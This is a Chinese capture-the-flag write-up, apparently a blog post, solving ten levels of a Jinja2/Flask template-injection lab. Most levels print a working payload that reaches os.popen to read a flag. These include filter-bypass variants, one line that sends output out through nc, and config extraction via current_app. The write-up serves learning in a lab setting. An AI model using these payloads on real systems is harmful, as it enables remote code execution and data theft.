(ssti大概就是全程跟着查到的wp做了一遍)

## LEVEL 1 1. 由于不是用get提交,用burp抓包,并且用爆破模块查一下可用的类,比如`__import__` 2. 贴一下爆破时用的payload:
1
code={{[].__class__.__base__.__subclasses__()[§§].__init__.__globals__['__import__']}}
爆破出100~104可以利用(其他也可以用这个payload找,大概还有`__builtins__,popen,os,sys`之类的) 3. 利用 `__import__`构造payload :
1
code={{[].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen("cat flag").read()}}
## LEVEL 2 这关过滤了{},用{%%}代替 burp爆破payload:
1
code={%print+[].__class__.__base__.__subclasses__()[§§].__init__.__globals__['__import__']%}
最终payload:
1
{%print [].__class__.__base__.__subclasses__()[100].__init__.__globals__['__import__']('os').popen("cat flag").read()%}
## LEVEL 3 按查到的wp的说法,这题是盲注,而且有两种方法绕过,其中一种需要用nc回显到自己的服务器。虽然的确没买服务器,但是突发奇想,之前bubble让我写留言板(虽然停工好久没动了)搞了一下虚拟服务器,想试试能不能返回到那里,结果折腾半天(指windows和linux来回折腾,甚至还尝试虚拟机端口映射)提交字符串时依然监听不到。 本来想干脆另一种方法解决,然后突发奇想,`nc -l -p 8080`然后随便返回一个ip,居然还真抓到了。
1
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 0.0.0.0 8080').read()}}{% endif %}{% endfor %}
## LEVEL 4 过滤了方括号,对于索引的`[]`可以用`pop()`或`__getitem__()`代替`[]`,而类的可以用`__getattribute__`绕过。所以就在LEVEL 1的payload上改一改吧。
1
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(100).__init__.__globals__.__getitem__('__import__')('os').popen('cat flag').read()}}
## LEVEL 5 过滤了引号,有通过改响应绕过的,也有用chr()函数绕过的,因为查到的wp说chr()失败了,所以想试试看。 1. 找出chr()函数的位置:
1
{{().__class__.__mro__[-1].__subclasses__()[§§].__init__.__globals__.__builtins__.chr}}
2. 把之前的payload一部分转换成ascii码 最终payload:
1
code={%set+chr=[].__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr%}+{%print(().__class__.__mro__[-1].__subclasses__()[233].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}
(所以我居然成功拿到flag了?) ## LEVEL 6 过滤了下划线,可以用各种编码姿势绕过,但是我居然除了wp上unicode编码和attr()配合request的payload其他都用不了,太奇怪了
1
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}
1
2
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} 
cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()
## LEVEL 7 过滤了.,用[]绕过或attr()绕过(然而我好像[]绕过用不了,怪事)
1
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(233)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}
## LEVEL 8 过滤了一大堆关键词,用+拼接绕过,然而这次所有payload我都用不了,麻了麻了。 理论上可以的payload:
1
{{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](258)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat flag')['read']()}}
## LEVEL 9 过滤了数字,两种方法 1. for循环找可用的类直接注入:
1
{% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}
2. lipsum不用数字利用:
1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
## LEVEL 10 这关要获得config,通过current_app获取。查到两个payload:
1
2
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
顺便查了下其他用到的函数:
1
2
url_for:flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages:flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app